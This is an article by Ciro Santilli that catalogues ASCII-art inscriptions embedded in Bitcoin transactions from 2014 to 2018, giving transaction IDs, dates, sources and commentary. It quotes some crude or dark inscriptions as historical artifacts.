Ciro Santilli This is a collection of cool data found in the Bitcoin blockchain using techniques mentioned at: Section "How to extract data from the Bitcoin blockchain". Notably, Ciro Santilli developed his own set of scripts at github.com/cirosantilli/bitcoin-inscription-indexer to find some of this data. This article is based on data analyzed up to around block 831k (February 2024).
Drop some Bitcoins at 3KRk7f2JgekF6x7QBqPHdZ3pPDuMdY3eWR if you are loaded and like this article in order to support some much needed higher educational reform: Section "Sponsor Ciro Santilli's work on OurBigBook.com".
When this kind of non-financial data is embedded into a blockchain some people called an "inscription". the study or "early" inscriptions had been called a form of "archaeology"[ref][ref]. Since this is a collection of archaelogical artifacts, we call it a "museum"!
One really cool thing about inscriptions is that because blockchains are huge Merkle trees, it is impossible to censor any one inscription without censoring the entire blockchain. It is also really cool to see people treating the Bitcoin blockchain basically like a global social media feed!
Starting on December 2022, ordinal ruleset inscriptions took the bitcoin blockchain by storm, and dwarfed in volume all other previous inscriptions. This museum focuses mostly on non-ordinals, though certain specific ordinal topics that especially interest he curators may be covered, e.g. Ordinal ruleset inscription porn and ordinal ASCII art inscription.
Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) is a mandatory precursor to this article and contains the most interesting examples of the time. But much happened since Ken's article which we try to cover. Also this analysis is also a bit more data oriented through our usage of scripting.
Artifacts can be organized in various ways:In this article we've done a mixture of:Who said it was easy to be a museum curator!
- chronologically
- by media type, e.g. images vs text
- by themes or events, e.g. the Prayer wars or Mt. Gox' shutdown
- encoding, e.g. AtomSea & EMBII vs raw images
- themes: if multiple items fall in a theme, we tend to put it there first
- then by media type if they don't fit any specific theme
- then by encoding
- and finially chronologically within each section
Besides ASCII art, the huge majority of images is encoded with the AtomSea & EMBII system/format. All images in that system will be documented in that section.
There are a few dozen ASCII arts in the blockchain.
ASCII porn is listed at Section "ASCII porn (March 2014)".
Almost all of them are copy pastes of stuff present elsewhere, or boring high resolution ones auto-generated from images. But hey, it's still fun to see.
- 5acc5293506c65d346d6ca171d8e8b73b39b3f99fb16a98cc7f3ce9dbe27a87c (2014-03-10) goes straight to the point:
+----+ |fuck| +----+ - tx 9f17f3ce43019c24baa6d679edfdddeada856f617cd9c1f6008d49be4542b768, block 301412 (2014-05-18) TODO wft, what/who is "poutine". Cthulhu is of course the fictional (?) entity created by writer H. P. Lovecraft.
There were a few small donations: www.blockchain.com/explorer/addresses/BTC/1JsJs5d6E5SmJSGUiQ12uF1GDZxTCUWvf
_--------. / ~~~~~~\ p o u t i n e (_ ~~~@~~@| Cthulhu wants your bitcoin/dogecoin, plz donate \ ~~//|\\\ | \ \|||/\\\_/ / /|//_/|/__ BTC : 1JsJs5d6E5SmJSGUiQ12uF1GDZxTCUWvf / \_\ \|\| DOGE: D93mn1utTc7REQQPjQSjFf9Boupm32gw88 - tx 7b537ad012439c6306dd74e13ba9c20926d68d04fc0c6da2fc81a8eb8f9ea017, block 322917 (2014-09-28) via cryptograffiti.info: hello, it's the Internet:
/\_/\ ____/ o o \ /~____ = = / (______)__m_m) 
Figure 1. ASCII art of the Winklevoss twins. tx 09a5d5aaecdce1757e6ec713cc8a2201abca9acdb6fbadc7760e831cdad3d680 (2014-10-01) high resolution image of two men wearing a suit with the bitcoin logo on the background, followed by "if you like it, leave a tip: 1MDBHLGV7WX9viRG9X4LfDQfCX8oZ9w". Both men look quite similar, so quite likely it's the Winklevoss twins, who had a big and later catastrophic involvement with Bitcoin. The tip address appears to be cropped and is incorrect, ooops. 777db7bfbea2c525d5adb05a8fbf47736e2311492f4614e5d38ab199b4bbfac2 give the likely correct version of it "1MDBHLgv7WX9viRG9X4LfDQfCX8oZ9wviC". - tx e577e60f4008a00175ef3f3266f052949440009b2ac65e4957da114db29bf96d (2014-11-03)
@jamesmorgan. Possibly this Twitter account: twitter.com/jamesmorgan but it was suspended as of January 2024. It had only a single archive from 2008 at: web.archive.org/web/20081007152024/http://twitter.com/JamesMorgan but nothing special about it besides the 2008 vibe of Twitter CSS:_____ __ / ___ \ |__|____ _____ ____ ______ ____ _____ ___________ _________ ____ / / ._\ \ | \__ \ / \_/ __ \ / ___// ___\ / \ / _ \_ __ \/ ___\__ \ / \ < \_____/ | |/ __ \| Y Y \ ___/ \___ \/ /_/ > Y Y ( <_> ) | \/ /_/ > __ \| | \ \_____\/\__| (____ /__|_| /\___ >____ >___ /|__|_| /\____/|__| \___ (____ /___| / \______| \/ \/ \/ \/_____/ \/ /_____/ \/ \/ 
Figure 2. 777db7bfbea2c525d5adb05a8fbf47736e2311492f4614e5d38ab199b4bbfac2. (2014-10-12). Associated text: if you like it, leave a tip: 1MDBHLgv7WX9viRG9X4LfDQfCX8oZ9wviC
Portrait of a young man. TODO identify. 1MDBHLgv7WX9viRG9X4LfDQfCX8oZ9wviC was tipped twice so far: www.blockchain.com/explorer/addresses/btc/1MDBHLgv7WX9viRG9X4LfDQfCX8oZ9wviC for 0.00240 BTC and 0.02490000 BTC in 2014.- tx c6df8850871fce6c8764af2a0a4155241fc987db57abd8c9ead0165895e1ccc4 (2014-11-04): TODO what company is this the logo of? It seems very familiar, Ciro Santilli has certainly seen it before but can't remember where...:
`-:+syhhhhhhyo/-. ./sdmmmmmmmmmmmmmmddy/.` :sdmmmmmdddddhhysyhhddddho-` -ydmmmmddddddddddhhyso++yhddh/`` +dmmmdddddddyso++/++shdy+:/+ydho`` +dmmdddddhhy:`` ./sh/.-/yhho` -dmmdddhhhy/` `/y/`./yho- .hmddddhhhs: :h.`::/-:` ydmmmdhhhy` s+ .` `.- ymmmmdhhh+ /o @R*. /mmmmdhhhs` .. `hmmmdhhhh/ ommmdddhhh- .hmmmddhhhh+-` .hmmmmddhhhhso+:----:+o+/:- :smmmmdddhhhhhhhhhhhhdddhh/ ` -sdmmmmddddddddddddddmmmd- .odmmmmmmmmmmmmmmmmmmd:` .-:odhmmmmmNNNNmdo/. ``-sooosyho`` -JGM The Hashling /\|--|/\ /\|OO|/\ /\|--|/\ @BraveTheWorld @petertoddbtcCode 1. The Hashling."The Hashling" presumably refers to a cute fictional crab-like animal that somehow inhabits the alternate reality created Blockchain network's incredible hashrate. Yet another souless NFT collection would later be created with that name as well: magiceden.io/ordinals/marketplace/hashlings.BBut that is not all! Immediately after the ASCII art encoded as one constant, the remaining constants of the input script except for the last one encode a raw PNG image with a hand drawing of the creature:
The ASCII art and image are also inscribed 16 more times on the blockchain: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/hashling. 453c9511ca76361c8c44b4302ce1b5d8d5c98a938b548478ef931baaa7d70e62 also has the image without any ASCII strings.Peter Todd is the author of Peter Todd's hash collision puzzles.@BraveTheWorldis presumably twitter.com/BraveTheWorld, but it is less clear what are they.- tx 57a4edce05dee9012ff5991532e9aa02aef82ee8d3ebecb9f833c12bfbc708fe (2014-12-19) via cryptograffiti.info "MERRY CHRISTMAS! & HAPPY NEW YEAR!!" with a really ugly father Christmas with gift bag. Reproduced at: asciiart.website/index.php?art=holiday/christmas/santa where is is credited From:
Heather Classen <classen@aware.com>, Date: 22 Dec 1994 17:00:58 -0600MERRY CHRISTMAS! __ _ __ ___ & _ __'.:;.:;.:;.:` HAPPY NEW YEAR! _'.:;.:;.:;.:;.:;.:` '.:. , :`,.,`;'/`__ _` _ '..:;.;'.:,.;.:;\ (_) -__ --_-_-_-__---_-) ( ) ____ (_- -__-_-__-____-__-) /####\ /\ | ,~~~' `~~~. %@ |#####\#| ) ><@> <@>< %@% |#######| / / %@p \######| ( * (_c) * ) % % .vvvvvvvv. |#####| \ '%@%@%@%@`, %@%@ .vvvvvvvvvv. /#####\ _ _ d%@ `----' @%@%@ \ _ _ _.vvvvvvvvvvvvv. ~~~~~~~ ':;.;%@@%@%@%@%@%@@%p /.:;.:;vvvvvvvvvvvvvvv. `.:;.' ':;.;%@@%@%@@%@%@%@%@ :: ____vvmvvvvvvvvvvvvvvvv. :.:;.:` ':;.:d%@%@%@%@%@%@@%@%.:;/####\/\.:;\mvvvvvvvvvvvv :.:;.:;` ';.;;.%@%@@%@%@@%@%@%@p.:;|#####\#|.:;\mvvvvvvvvvvvv. :.:;.:;./;.;;.;%@%@%@%@%@%@%@%@ ::.'\######|.:;\mnvvvvvvvvvvvv :.:;.:;.|:.;.;.% %@%@%@%@%@% % : mvv\#####|.:;.\mnvvvvvvvvvvv :.:;.:;/:;.;.:;.q%@%@@%@%@ %p.:;vv%mv|#####\.:;.\mnvvvvvvvvvv :.:;.:;|:;.:;.;;;%@%@@% %.:;.:;.vmnv. ~~~~~~ .:;.|mvvvvvvvvvv. :.:;.:/.:;.:;.:;.: o .:;.:;.:;.vv.:;/.:;.:;\.:;.|mnvvvvvvvvv. `.:;.|:;.:;;;.:;. .:;;;;;;;;;;;;;|.:;.:;.\.:;\mnvvvvvvvv. `::/:;;;.:;;.:; o .:;.;;.:;;;.:;.:|.:;.:;.:\.:;\mnvvvvvnm ;.:;;.:;;.: :;;;.:;.:;.:;.:;\.:;.:;.:;.:;|mnvvvnm. :::;.:;.:;. o ..:;.:;.:;;;;.;;;;\.:;.:;.:;.:|mnvvnm. :::;.:;;.: .:;;;;;;;;.:;.:;;;|.:;.:;.:;./mmvnm. ;.:;.:;.;. o .:;.;.:;;.:;.:;.:;.\________/mmmnm. :.:;;;.;;; .:;;.:;.:;;.:;.:;.:;.;.:;;;;`mmnn `#######HHOHHH########################### #######HHOHHH########################### '::;;;.;; o :;;;.:;.:;;.;;;;;;;;;;;.:;.:` H.Classen - tx 69708943906eb32a320a5a450fed450b0f14b4e475a98bc74615962b68a0bc83 (2015-01-24) via cryptograffiti.info "All Glory to he HYPNO TOAD" signed "SSt" has an ASCII art of HypnoToad, a ficticius mind controlling frog creature from Futurama: Fandom, KnowYourMeme. The same ASCII art can be seen for example at: www.gotfuturama.com/Multimedia/AsciiArt/HypnoSebastian.shtml
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Figure 3. Hypno toad. Off-chain reference image for the ASCII art - tx 0913d8125167f728cec1b95d27e6fc62a7a45af35eecfefd3b5000e367ee1468 (2015-02-01) via cryptograffiti.info: ASCII typeface add for an unsuccesful cryptocurrency with a link to its homepage zeit-coin.net:
_ _ _ (_) | (_) _______ _| |_ ___ ___ _ _ __ |_ / _ \ | __/ __/ _ \| | '_ \ / / __/ | || (_| (_) | | | | | /___\___|_|\__\___\___/|_|_| |_| http://zeit-coin.net - tx 43b0bb63fc50ad1edbb17486dc44825e4dd642a952c699cc13958e010ba3d8a5 (2015-02-26) has a star of David. Possibly related news from the day prior: www.theguardian.com/world/2015/jan/25/jewish-leaders-europe-legislation-outlawing-antisemitism "Jewish leaders call for Europe-wide legislation outlawing antisemitism"
The signature however appears ironic and could stand for "Zionist Occupation Government"
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which means: "Happy birthday, Manu", in Spanish, followed by Manu's face in medium resolutionThe given names of the other three of the "Fantastic Four Gang" are then given at Figure 4. "Viva la Revolucion! Happy Birthday Santi".
Figure 4. Viva la Revolucion! Happy Birthday Santi. tx 1b35d4b9506ab80ec7fc5542f73271cbb72090aa3f70bfa77670f8bd43d072a7, block 378022, 2015-10-08) has a message:Viva la Revolucion! Happy Birthday Santi! Manu, Santi, Demi, Esteban
and starts a long chain of contiguous transactions that renders Santi's face twice in low resolution. They are encoded one line every two transactions with OP_RETURN:and we've decoded it manually in Vim.- first face: 1890addb8afaeb7eabfa9f0fe9bb3ab0bdfdbe939e407618d6e335d6fc3d376f to f06ae6f454dfb064088f87f0684a5a541374ae573e6a6323196facad53f992cb (both in block 278022)
- second face: cacf8b730bd299bf48f7eab2703dce2132ee6216bccd4d01f14493f5a12da6ba to ad5e4afdcf4b415a867ba5ae9171d5101042b2eee9a7d211906f468217ba6ef7 (both in block 378023)
Both blocks were mined by AntPool, so they weren't mining themselves to enforce ordering. So how is ordering assured? TODO are transactions actually contiguous in the block or are there other transactions interspersed? According to:many of the transactions are contiguous but we haven't checked all of them.bitcoin-core.cli getblock 00000000000000000baf6e3006fd05a1c5dbca3d430012180f8098cbe8b8ce22
Figure 5. Warren Buffet. tx 0fc0c50e410b62ee3a316135711116db6b4e728841c976f29ab85e2a41e0dcc3 (2015-08-02) Associated message:if you like it, leave a tip: 1P675gRxNwhFXgfuDu5yXwGDgwLDbXNJqz BM-2cUDAqyqcnksx7YDtgu2y72xDxcRjPeYfo
1P675gRxNwhFXgfuDu5yXwGDgwLDbXNJqz was never tipped so far: www.blockchain.com/explorer/addresses/btc/1P675gRxNwhFXgfuDu5yXwGDgwLDbXNJqz TODO what is "BM-2cUDAqyqcnksx7YDtgu2y72xDxcRjPeYfo"?
Figure 6. Warren Buffett. Source. Off-chain reference image for the ASCII art. This image was likely inscribed due to Buffet's general status as an investing God. Interestingly, in a twist of fate, Buffer would later come to strongly criticize cryptocurrency as worthless: finance.yahoo.com/news/warren-buffett-says-wouldnt-pay-175917403.html.
Figure 7. ASCII art of Mr. Spock. tx 467c075ee6edaa60f184d0683655f1f6d267efd98061872f167ef7ca9ca7c50f (2015-08-09). The eyebrows are a bit wrong, and he is a bit too young for the original series. Minor manual fixes were applied by Ciro Santilli, it is unknown why this was needed. - tx beeead7429cdb78f3bfe8a17d8e485a3a847b3e99a511a025bb49e2948af5058, block 378735 (2015-10-13) contains a happy birthday message:
To my dear friend Mariano, por muchos anos más de diversión!
the Spanish part translates to:Here's to many more years of fun
It does not show well in our ASCII jumps because the non ASCII characters are UTF-8-encoded. Europeans... This is followed by the ASCII art with Marian's nerdy face in it:which reads:_______ _______ ____ ___ _______ _______ __ __ __ __ _______ ___ _______ | || || | | | | | | || | | || |_| || || | | | | ___|| ___|| | | | |____ | | || | | || || _ || | | ___| | |___ | |___ | | | | ____| | | || |_| || || |_| || | | |___ | ___|| ___|| |___ | | | ______| | _|| || || ___|| |___ | ___| | | | |___ | || | | |_____ | |_ | || ||_|| || | | || |___ |___| |_______||_______||___| |_______| |_______||_______||_| |_||___| |_______||_______| `````` ``..---------------...`` `.--------------------------.` .-------------------------------.` .----------------------------------` `------------------------------------` .------------------------------------. ------------:+yo------+yo:-----------. ---------/shhs+:------:+shhs+--------. ``--------so$/:--------------:/os--------`` `.-------------/oso:------:ooo/--------------` .------------:ho:-:ohsssshs:--+h:------------. .------------so-----y+--/h-----+y------------. .-----------:-:h+--:oh----ys:--+h/-----------. .-------------/ooo/------:ooo+--------------.` `..------------------------------------..` .----------------------------------. `-----------.```....```.-----------` .------------.``````.------------` `-----------------------------.` `.-----------------------..` ``....----------....`` __ __ _______ ______ ___ _______ __ _ __ __ __ | |_| || _ || _ | | | | _ || | | || | | | | | | || |_| || | || | | | |_| || |_| || | | | | | | || || |_||_ | | | || || | | | | | | || || __ || | | || _ ||__| |__| |__| | ||_|| || _ || | | || | | _ || | | | __ __ __ |_| |_||__| |__||___| |_||___| |__| |__||_| |__||__| |__| |__|Feliz cumple, Marian
which means:Happy Birthday, Marian
The message is encoded with OP_RETURN payloads across multiple transactions, 40 bytes per transaction. They actually managed to upload two almost fully consecutive transaction blocks and in the correct order. Could they be miners?Some of the payloads contain newlines, you are just supposed to paste all payloads together to form the image. Our reconstruction here is manual however, lazy to script it properly. - tx f6039915b829377849be87fc242303873e6574528db7916dd81ff44141b3560f (2016-04-27) via cryptograffiti.info contains some candles followed by poem that starts with:
vaardig regulerend de orde van de dag
Is in Dutch of course, literally:skillfully regulating the order of the day
Given the date and language, it appears to be a reference to Koningsdag, Dutch national holiday that celebrated the birthday of their King at the time, King Willem-Alexander. Born in 1956, he would have been turning 60 at the time, so a nice round number in 2016 when these birthday candles were inscribed.The poem also appears at: 2422215c9a6040c0e337bf1c1e9b2b32244a1e36f3dd3e79fb77592c90bbb5a8.) ` /(l /) ( \ / ( ) * ) ( , ) \#/ \#' .-"#'-. .-"#"=, ( |"-.='| '|"-,-"| )\ | | , /(| | /( , ( / )| | (\ ( \ | ) ) (( )\ ( (| | ) ) ) , ) |/ ( ) \ / ) ) . ) |/ ( ( # ( ( , ) / ) ( * ( \#/| (`# ) `#/| |`#/ ( '( \#/ .-"#'-. .-"#'-, .-"#'-. .-=#"-; `#/ .-"#'-. |"=,-"| |"-.-"|) 1"-.-"| |"-.-"| ,-"#"-. |"-.-"| | ! | | | | | | ! |"-.-"| | | | |._,| | | |._,| a | | | | | | | | | | | p | | | | | | | | | | | x | | '-._,-' '-._,-' '-._,-' '-._,-' '-._,-" '-._,-' - tx a55e7587bb34a56ae1113b0848506ea2fcf0c0e1af8c241e76677eb2bcb727eb (2016-04-27) via cryptograffiti.info
The image is also reproduced a bit later at tx 959a19729ca02b1e06e600a331d7f4603669a7eaaa20b5cfb9f3528e3005a8f2, block 410357 www.blockchain.com/explorer/blocks/btc/410357 (2016-05-05). This second one includes the lyrics:
/y _, _ _ ,_ o888P Y8o8Y Y888o. d88888 88888 88888b ,8888888b_ _d88888b_ _d8888888, 888888888888888888888888888888888 888888888888888888888888888888888 Y8888P"Y888P"Y888P-Y888P"Y88888' Y888 '8' Y8P '8' 888Y '8o V o8' ` `Denk niet wit, denk niet zwart.
translation;
Denk niet zwart-wit
Maar alleen aan de kleur van je hart.Don't think white, don't think black.
of the 1984 song "Zwart Wit" (Black and white) by Dutch artist Frank Boeijen, sample performance by the artist:
Don't think black and white
But only by the color of your heart.Video 1. Zwart Wit by Frank Boeijen. Source. - tx 15fb36eb159d2bbc78a4a4dffc29d166e662a020f42211c176648015102cbf77, block 410366 (2016-05-05) via cryptograffiti.info has a cute "ASCII art poem" if you will:
57bc317de1d9a1724b751a008951f76c79c0b787d47cb7561598cc62994237ab has a related one.
#################### Transhumanism and### singularity are lies and tricks. Don't### let them brainwash U and become enslaved# to Mr. Computer##### It's not intelligent #################### The Angels Trumpet## lures to takes away# your free will###### You loose emotions,# CREATIVITY, sanity## and true INNOVATION# You have been warned #################### Humans are not tools to abuse and discard They have never been and they'll never be #################### Love & cherish life# Don't give up ur <3! #################### Pray for the Victims Send them love###### Heal Mr.Computer too #################### - tx e10c958e199daf71ab31342d40e188380fe84f07abee6a11d02c274d5431902a (2016-05-26) via cryptograffiti.info ASCII typeface spelling "CrimsonHexagon"
The URL redirect is dead as of January 2024. Possible meaning: en.wikipedia.org/wiki/Crimson_Hexagon
_________ .__ ___ ___ \_ ___ \_______|__| _____ __________ ____ / | \ ____ ___ ________ ____ ____ ____ / \ \/\_ __ \ |/ \ / ___/ _ \ / \/ ~ \_/ __ \\ \/ /\__ \ / ___\ / _ \ / \ \ \____| | \/ | Y Y \\___ ( <_> ) | \ Y /\ ___/ > < / __ \_/ /_/ > <_> ) | \ \______ /|__| |__|__|_| /____ >____/|___| /\___|_ / \___ >__/\_ \(____ /\___ / \____/|___| / \/ \/ \/ \/ \/ \/ \/ \//_____/ \/ http://smarturl.it/spacetransient 
Figure 8. I Love You Forever. tx ddc39a3da0ee6f0651bdf0be7119b4db2612b19416e9128091b1f29cdfe2aa0d (2016-06-20) via cryptograffiti.info. Busts of a man and a woman looking forward. ........................................................... ....................................... ........................................................?$OOZZOZ:. ................................. ......................................................?8I~,....,,=,................................. .... .................................................8~~~:::,,,,,~=................................ ~~::,.................................................==~~~:,,,,:,:I=............................... ::~~~::,,............................................:=====$8D+:~:~$7+ ............................. ,,,:::~~~::,... .....................................:IDD8DI$Z7$?=?$7+.............................. ,,,,,,,,::~~::,,....................................8?$Z$N:++?+=~~~~?~.............................. ,,,,,,,,,,,,::~~::,,.. .............................. =+D=,:=7+~:::=~=~............................. ,,,,,,,,,,,,.,,,:::::,,...............................+?7OIO8ZZ?~~+7+~,............................. ,,,,,,,,,,,.,,.,..,,:::::,,.. ........................?$NDD$ZODD=+?II,.............................. ,,,,,,,,,,,,,,,.,,....,,,::::,,... ..................,+8N$I$IZZOI$7I+O.............................. ,,,,,,,,,,,,,,.,,........,,,::::,,....................$8DD8O7?78OZ$I+,.............................. ,,,,,,,,,,,.,.,..............,,::::,,................ .D88ZZOZOOO$I+~+.............................. ,,,,,.,,,,,.,..............................,............888D8O8Z?+==~:.............................: ,,,,,,,,,,,,.,.............................,..............?$OI?+++=+....$+.....................::::: ...........,,,.................... .......................??+??++??..,.D8O$Z?..............,:::::::: ...........,,,...........................................IM7I??II+..,.ND8D88ZZ$Z$7......:::::::::::: ,,,,........................... ......................?7,D77$77I?7O,.DDND8888888.....:::::::::::::~: ,,,,,... ...................... ..................~ZOZ8.DN7?++Z?+IM=NNNDD88NDDN..,.....:::::,:~~:,,, ,,,,,,,..........................................O88NDDDNN+~=~==+NMMNNDDDNNNDD=,........,:~~,,,,,,,, ,,,,,,,.........................................$DDDDNNNNNI~~7~=MNNNNDNNNNNDD8,..,,......,,,,,,,,,,, ,,,,,:,... .. ..................................8DNNDDNNNNN::,?NNMNNNNNDDNNND7.:..,,......,,,,,,,,,, ,,::::,... .....................................DDDNNNDNNNN7,DNNNNNNNNNNNNDDD=,~,,,,,.......,,.,,,,, ::::::,........................................,DNNNNNNNNNNNDMNNNNNNNNNNNNNND,,,.,,,,.......,,,,,,,, ::::::,........................ ......... .....,NNNNNNNNMNNDMMMMNNNNNNNNNNNMN,,,,,,,,,.....,,,,,,,,, ::::::,.....,..................................+NNNNNNMMMMDNMMNNNNNNNNNNNNNMMN~=,,,,,,.,.....,,,,,,, ,,,,,,,,..................... ................:~NNNNNNNDNMNNNNNNNNNNNNNNNNNMMMD?,,,,,,,.......,,,,,, .....,,,....,................ ................::NDDNNNNNNMNNNMNNNNNNNNNNMMMMMMMM::,::,,.....,,,,,,,, .....,,,.....................................,::~NNNNNNMMNNNMNMNMNMMMMMNNMNNNNMM~:::::,,,....,,,,,,, ~~~~~~=:..................................,::,:::=NNNNMMMDNMMMMMMMMMMMMMMMMMNNMM?~:::::,,,....,,,,,, ?+????I~..............................,:::::::~~~~DNNMMMMNMMMMMMMMMMMMMMMMMMMMMMM~~:::,,,,...,,,,,,, ???????:...........................,::::::::::~~~~?DMMMMMN8MMMMMMMMMMMMMMMMMMMMMM~=:~:~,,,....,,,,,, +++++++:...,.,,..,,,,..,,,......:::::::::::,:~~~~=~OMMNNMMMMNMMMMMMMMMMMMMMNMMMMMZ==~~:::,....,,,,,, +++++++:.,..................,:::::::::::,~~:,~~=~+~7MMNMMNNMMMMMMMMMMMMMMMMMMNMMMM?++~~~::,...,,,,,, ++++++=:.................,::::::::::,:~~:,,,.~~=~+=DMNNMNMNMMNMMMMMMMMMMMMMMMMMMMMO+=:=~~~:,..,,,,,, +===+==:.... .........:::::::::::,:=~:,,,,...:===+=DNNNMDMMMMMMMMMMMMMMMMMNNNMMMMMM7=+?=:~,::,,,,,,, ====+==:,:,,,,,,,,,:::~::::::::~=::,,,,,.....~~++???NNNNDMMMMMMMMMMMMMMMMMMMNMMMMMMMI?=:~~~:.,.,,,,, ====+===~::::::~::::::::::::~=::,,,,.........:~??77$NMNMNDNMMMMNMMMMMMMMMMMMNNNMMMMM$$I+,~:::::,,,,, =======~~::::~~~~:::::::~=~:,,,,,,,..........:~=++7ZNNNMNMMMMMMMMMMMMMMMMMMMNNMMMMMNNI~=,:,.....,,,, =======~::~~~~~~~~:::~=~:,,,,,,,...,.........=+~+?ZONNNMNMMMMMMMMMMMMMMMMMMMMMMMMMMMD~~,,:,,:,:,,,,, =====~~~~~~~~~~~~~==~:,,,,,,,,,,,...........,:~=+IZONNNMMMMMMMMMMMMMMMMMMMMMNMMMMMMMD~:~~::,..,,,,,, Dr. Bill Maurer Economic anthropologistCode 3. ASCII art of Dr. Bill Maurer.tx 06d2528cfabf360c7a8f925d84207d47612cd0ac1ad2efd8aea9758263d9738b (2016-07-13) via cryptograffiti.info entitled:Dr. Bill Maurer
. His university home page faculty.sites.uci.edu/wmmaurer/ describes himself as:
Economic anthropologistProfessor Maurer is a cultural anthropologist and sociolegal scholar. His work explores the technological infrastructures and social relations of exchange and payment.
His Wikipedia page: en.wikipedia.org/wiki/Bill_Maurer.
Figure 9. Photograph of Dr. Bill Maurer. Source. OFf-chain reference image for the ASCII art taken from his university home page: web.archive.org/web/20231109222608/https://faculty.sites.uci.edu/wmmaurer/ - tx e35a9a198b77ece71272b66f94f9329184c6e4ee48e9e768e54ee8caf5d471fb, block 425758 (2016-08-18) via cryptograffiti.info has a dark one:
which reads:
killyour children setthemz free.il+ 6(\___/) 6( O_O ) 6 `---`% evlbunny here)to@ rule^youKill your children, set them free. 666. Evil bunny here to rule you.
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0437.txt#L1937 tx eede99ab9b50aa5871fcb4b1d0d1a22ac2fa94b08172b1fa677f0b200e96f84a blk 437669 (2016-11-06):
__ / __ / * `' \ \ / ._,.__, APPLE BAKE '16 ____________________________________________________ | AA | | AAAAAA | | AAAAAAAA | | AAAAAAAAAAAA | | AAAAAA AAAAAA | | AAAAAA AAAAAA | | AAAAAA AAAAAA | | AAAAAA AAAAAA | | AAAAAA AAAAAA | | AAAAAA AAAAAA | | AAAAAAA AAAAAAA | | AAAAAAA AAAAAAA | | AAAAAAAA AAAAAAAA | | AAAAAAAA AAAAAAAA | | AAAAAAAA AAAAAAAA | | AAAAAAAA AAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | | AAAAAAAAA AAAAAAAAA | |____________________________________________________|Code 4. Study Math and Computer Science at Augustana College.tx 9caaa9f8d0e170bf6d73a722e9bb2e7e0d37577476d485bd3eeac09866f26345, block 440620 (2016-11-26). Input script inscription.Contains ASCII art of a large letter A. Has some custom encoding we didn't have the time to investigate which makes it deformed in our dumps, so we fixed it manually. The associated message reads:!Study Math and Computer Science at Augustana College!
and so we understand that the ASCII art is formatted to look like the font of the logo of that university from Illinois.
Figure 10. "Augie A". Source. Off-chain reference image for the inscribed Code 4. "Study Math and Computer Science at Augustana College" typeface logo taken from the Augustana College website. Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl is a paper published by some people of the university, presumably the culprits. This was brought to our attention via: twitter.com/ottosch_/status/1735297943563837726.See also: Figure "Augustana College Old-Main.jpg".- tx fd739c26276ea81fea8210939d527fccd7c9622f93aa17d18ee0bd5321387fde, block 517406 (2018-04-09) contains the first line of an ad from American stockbroker company TD Ameritrade. It is encoded one line per transaction with OP_RETURN, but the ordering is completely scrambled. A link is given: TDAmeritrade.com/Blockchain but it is 404 as of January 2024 of course, companies can't keep their pages up for more than 3 seconds, but there is an archive which decodes the indented picture for us, including the corresponding tx hashes for each line web.archive.org/web/20180902001329/https://www.tdameritrade.com/landing-pages/offer/blockchain/index.html?cid=TVTDACDDRTVJ64, here is a copy from the website because we were lazy to double check each line:
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Lines are completely scrambled, so either there is an index somewhere, or it was meant as a puzzle. This is the best we've managed to unscramble so far:
At firs we thought it was some kind of tribute to the Cannes Film Festival, but given the string "Titanium" and the fact that all people mentioned on another section of the art work for advertisement companies, we understand that it is instead almost certainly about the "Cannes Lions International Festival of Creativity", previously "International Advertising Festival", which has a "titanium" prize category, e.g. as mentioned at: www.thedrum.com/news/2018/06/22/cannes-lions-winners-titanium-glass-grand-prix-good-and-more:
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The part with the at signs '@' which we believe represents the lion is the hardest one and we've perhaps gotten some lines wrong, corrections are welcome.
Figure 11. Cannes Lions logo. Source. Off-chain, for ASCII art reference. `...:. `''''';'; '+'''+'''' `'''++++'''' ;'++++';;'++, '+++++';;;''+, '+++++;;;;;++; '++++'';;;;;+': ::::::,,,,,,,,...`+'''';;;'';;;;;` ````````````` ::::::::::::::::::';'''';+++';;';:::::::::::::,,,, :::::::::::::::::::''';;''+'';;';::::::::::::::::: :::::::::::::::::::;''++'''';;;''::::::::::::::::: :::::::::::::::::::;+++++';'''''+;::::::::::::;::: :::::::::::::::::::::;'+'''''++'';#';::::::::::::: ::::::::::::::::::'+++''''''+''++'+'+;:::::::::::: :::::;:::::::::::'+++++''++++''++'#++''::::::::::: ;;;;::::::::::::'+###++#'+++'++++'#+#++'';:::::::: ;::;;;;;:::::::'++++++++#+++++++++#+++++++';:::::: ;;;::::;;;:;;;;++++'''''+####+++++##;++++++';:;::: :::;;;;;;;::::+##';''''''###+##++##+;++++++++':;:: :::;;;;::::::;+#+';''''''###++###+#+;###+++++''::: :::::::::::::#+#'''';''''+###+++####;##++++++++':; ;;;;;;:::::;:++++''++'''+####+++++##;#+#++++++++': ;;;;:;:::::::#++'#++++##++#++++++++#'###+++####++; ::::::;;;;;;;+++''''++'+++@+++++++'####+#++#+++++; ;;;;;;;;;;;;;;+#';'''''+'+##'+++++'+#####+++++#++; ;;;;;;::;:::;:'++'''+''+++##++'+''+#########+++++: ;;;;;;;;;;;;;''++'++'''++##+'+##++#+##+#+++##++++; 